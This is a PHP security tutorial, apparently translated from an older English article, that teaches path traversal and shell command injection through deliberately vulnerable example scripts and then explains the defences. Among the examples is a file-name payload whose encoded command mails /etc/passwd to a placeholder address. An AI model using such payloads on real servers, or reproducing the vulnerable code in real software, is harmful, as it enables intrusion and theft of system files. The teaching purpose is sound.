The Importance of Paying Attention to Security Issues Seeing More than Everything
The most effective yet often overlooked way to prevent users from maliciously damaging your programs is to consider the possibility when you write your code. It's important to be aware of possible security issues in your code. Consider the following example function designed to simplify the process of writing large text files in PHP:
<?php
function write_text($filename, $text="") {
static $open_files = array();
// If the file name is empty, close all files
if ($filename == NULL) {
foreach($open_files as $fr) {
fclose($fr);
}
return true;
}
$index = md5($filename);
if(!isset($open_files[$index])) {
$open_files[$index] = fopen($filename, "a+");
if(!$open_files[$index]) return false;
}
fputs($open_files[$index], $text);
return true;
}
?>
This function takes two default parameters, the file name and the text to be written to the file.
The function will first check whether the file is already open; if so, the original file handle will be used. Otherwise, it will be created by itself. In both cases, the text is written to the file.
If the filename passed to the function is NULL, all open files will be closed. An example of use is provided below.
This function will be much clearer and more readable if the developer writes multiple text files in the following format.
Let's assume that this function exists in a separate file that contains the code that calls this function.
Below is such a program, let's call it quotes.php:
<html><body>
<form action="<?=$_SERVER['PHP_SELF']?>" method="get">
Choose the nature of the quote:
<select name="quote" size="3">
<option value="funny">Humorous quotes</option>
<option value="political">Political quotes</option>
<option value="love">Romantic Quotes</option>
</select><br />
The quote: <input type="text" name="quote_text" size="30" />
<input type="submit" value="Save Quote" />
</form>
</body></html>
<?php
include_once('write_text.php');
$filename = "/home/web/quotes/{$_GET['quote']}";
$quote_msg = $_GET['quote_text'];
if (write_text($filename, $quote_msg)) {
echo "<center><hr><h2>Quote saved!</h2></center>";
} else {
echo "<center><hr><h2>Error writing quote</h2></center>";
}
write_text(NULL);
?>
As you can see, the developer used the write_text() function to create a system where users can submit their favorite quotes, which will be stored in a text file.
Unfortunately, the developers may not have thought that this program also allows malicious users to compromise the security of the web server.
Maybe right now you're scratching your head wondering how this seemingly innocent program could introduce a security risk.
If you can't tell, consider the following URL, and remember that this program is called quotes.php:
http://www.somewhere.com/fun/quotes.php?quote=different_file.dat"e_text=garbage+data
When this URL is passed to What will happen when using web server?
Obviously, quotes.php will be executed, but instead of writing a quote to one of the three files we want, instead, a new file called different_file.dat will be created containing the string garbage data. .
Obviously, this is not desired behavior. A malicious user could access the UNIX password file and create an account by specifying quote as ../../../etc/passwd (although this requires the web server to run the program as superuser. If It's so, you should stop reading and go fix it now).
If /home/web/quotes/ is accessible through a browser, perhaps the most serious security issue with this program is that it allows any user to write and run arbitrary PHP programs. This will cause endless trouble.
Here are some solutions. If you only need to write a few files in a directory, consider using an associated array to store the file names. If the file entered by the user exists in this array, it can be written safely. Another idea is to remove all characters that are not letters or numbers to ensure there are no directory separators. Another way is to check the file extension to ensure that the file will not be executed by the web server.
The principle is simple, as a developer you have to think more than what your program does when you want it to run.
What happens if illegal data enters a form element? Could a malicious user cause your program to behave in an unintended way? What can be done to stop these attacks? Your web server and PHP program are only secure under the weakest security link, so it's important to confirm that these potentially unsafe links are secure.
Common Security-related Mistakes Here are some highlights, a brief and incomplete list of coding and administrative errors that can compromise security
. Mistakes 1. Trust data This is a theme that runs throughout my discussion of PHP program security. You should never trust data that comes from outside. Whether it comes from a user-submitted form, a file on the file system, or an environment variable, no data can be simply taken for granted. So user input must be validated and formatted to ensure security.
Mistake 2. Storing Sensitive Data in Web Directories Any and all sensitive data should be stored in files separate from the programs that need to use the data, and in a directory that is not accessible through the browser. When sensitive data needs to be used, include it in the appropriate PHP program through include or require statements.
Mistake 3. Failure to use recommended safety precautions
The PHP Manual contains a complete chapter on security precautions when using and writing PHP programs. The manual also (almost) clearly explains, based on case studies, when there are potential security risks and how to minimize them. In another example, malicious users rely on the mistakes of developers and administrators to obtain the security information they care about to gain system permissions. Heed these warnings and take appropriate steps to reduce the possibility of a malicious user causing real damage to your system.
Performing System Calls in PHP There are many ways to perform system calls in PHP.
For example, system(), exec(), passthru(), popen(), and the backquote (`) operator all allow you to perform system calls in your program. Improper use of these functions will open the door for malicious users to execute system commands on your server. Like when accessing files, in the vast majority of cases, security vulnerabilities occur due to unreliable external input leading to the execution of system commands.
An example program using system calls Consider a program that handles http file uploads. It uses the zip program to compress the file and then moves it to a specified directory (default is /usr/local/archives/). The code is as follows:
<?php
$zip = "/usr/bin/zip";
$store_path = "/usr/local/archives/";
if (isset($_FILES['file'])) {
$tmp_name = $_FILES['file']['tmp_name'];
$cmp_name = dirname($_FILES['file']['tmp_name']) .
"/{$_FILES['file']['name']}.zip";
$filename = basename($cmp_name);
if (file_exists($tmp_name)) {
$systemcall = "$zip $cmp_name $tmp_name";
$output = `$systemcall`;
if (file_exists($cmp_name)) {
$savepath = $store_path.$filename;
rename($cmp_name, $savepath);
}
}
}
?>
<form enctype="multipart/form-data" action="<?
php echo $_SERVER['PHP_SELF'];
?>" method="POST">
<input type="HIDDEN" name="MAX_FILE_SIZE" value="1048576">
File to compress: <input name="file" type="file"><br />
<input type="submit" value="Compress File">
</form>
While this program looks fairly simple and easy to understand, there are a few ways a malicious user can exploit it. The most serious security problem exists when we execute the compression command (via the ` operator), which can be clearly seen in the following line:
if (isset($_FILES['file'])) {
$tmp_name = $_FILES['file']['tmp_name'];
$cmp_name = dirname($_FILES['file']['tmp_name']) .
"/{$_FILES['file']['name']}.zip";
$filename = basename($cmp_name);
if (file_exists($tmp_name)) {
$systemcall = "$zip $cmp_name $tmp_name";
$output = `$systemcall`;
...
Trick the program into executing arbitrary shell commands. Although this code looks quite safe, it has the potential to allow any user with file upload permissions to execute arbitrary shell commands!
To be precise, this security vulnerability comes from the assignment of the $cmp_name variable. Here we want the compressed file to have the same filename as it was when uploaded from the client (with a .zip extension). We used $_FILES['file']['name'] (which contains the file name of the uploaded file on the client).
In such a situation, malicious users can achieve their goals by uploading a file containing characters that have special meaning to the underlying operating system. For example, what happens if the user creates an empty file as shown below? (from UNIX shell prompt)
[user@localhost]# touch ";php -r '$code=base64_decode(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
system($code);';"
This command will create a file with the following name:
;php -r '$code=base64_decode(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
system($code);';
Looks weird? Let's take a look at this "filename" and we see that it looks a lot like the command that causes the CLI version of PHP to execute the following code:
<?php
$code=base64_decode(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
system($code);
?>
If you display the contents of the $code variable out of curiosity, you will find that it contains [email protected] < /etc/passwd. If the user passes this file to a program and PHP then performs a system call to compress the file, PHP will actually execute the following statement:
/usr/bin/zip /tmp/;php -r
'$code=base64_decode(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
system($code);';.zip /tmp/phpY4iatI
Surprisingly, the above command is not one statement but 3! Since the UNIX shell interprets a semicolon (;) as the end of one shell command and the beginning of another command, except when the semicolon is within quotes, PHP's system() will actually execute as follows:
[user@localhost]# / usr/bin/zip /tmp/
[user@localhost]# php -r
'$code=base64_decode(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
system($code);'
[user@localhost]# .zip /tmp/phpY4iatI
As you can see, this seemingly harmless PHP program suddenly turned into a backdoor that can execute arbitrary shell commands and other PHP programs. Although this example will only work on systems that have the CLI version of PHP in the path, there are other ways to achieve the same effect using this technique.
The key here
to combating system call attacks
is still that input from the user, regardless of content, should not be trusted!The question remains how to avoid similar situations when using system calls (other than not using them at all). To combat this type of attack, PHP provides two functions, escapeshellarg() and escapeshellcmd().
The escapeshellarg() function is designed to remove potentially dangerous characters from user input used as arguments to system commands (in our case, the zip command). The syntax of this function is as follows:
escapeshellarg($string)
$string is the input used for filtering, and the return value is the filtered characters. When executed, this function will add single quotes around the characters and escape (precede) the single quotes in the original string. In our routine, if we add these lines before executing the system command:
$cmp_name = escapeshellarg($cmp_name);
$tmp_name = escapeshellarg($tmp_name);
We can avoid such security risks by ensuring that the parameter passed to the system call has been processed and is a user input with no other intention.
escapeshellcmd() is similar to escapeshellarg(), except that it only escapes characters that have special meaning to the underlying operating system. Unlike escapeshellarg(), escapeshellcmd() does not handle white spaces in the content. For example, when escaped using escapeshellcmd(), the characters
$string = "'hello, world!';evilcommand"
Will become:
'hello, world';evilcommand
If this string is used as an argument to a system call it will still not give correct results because the shell will interpret it as two separate arguments: 'hello and world';evilcommand. If the user enters part of the argument list for a system call, escapeshellarg() is a better choice.
Protecting Uploaded Files Throughout this article, I have been focusing solely on how system calls can be hijacked by malicious users to produce undesirable results.
However, there is another potential security risk worth mentioning here. Looking at our routine again, focus your attention on the following line:
$tmp_name = $_FILES['file']['tmp_name'];
$cmp_name = dirname($_FILES['file']['tmp_name']) .
"/{$_FILES['file']['name']}.zip";
$filename = basename($cmp_name);
if (file_exists($tmp_name)) {
A potential security risk caused by the lines of code in the above snippet is that in the last line we determine whether the uploaded file actually exists (it exists with the temporary file name $tmp_name).
This security risk does not come from PHP itself, but from the fact that the file name stored in $tmp_name is not actually a file at all, but points to the file that the malicious user wants to access, such as /etc/passwd.
To prevent this from happening, PHP provides the is_uploaded_file() function, which is the same as file_exists(), but it also provides a check whether the file is actually uploaded from the client.
In most cases, you will need to move the uploaded file. PHP provides the move_uploaded_file() function to work with is_uploaded_file(). This function is used to move files like rename(), except that it will automatically check to ensure that the moved file is the uploaded file before execution. The syntax of move_uploaded_file() is as follows:
move_uploaded_file($filename, $destination);
When executed, the function will move the uploaded file $filename to the destination $destination and return a Boolean value to indicate whether the operation was successful.
Note: John Coggeshall is a PHP consultant and author. It's been about 5 years since he started sleeping around PHP.
Original English text: http://www.onlamp.com/pub/a/php/2003/08/28/php_foundations.html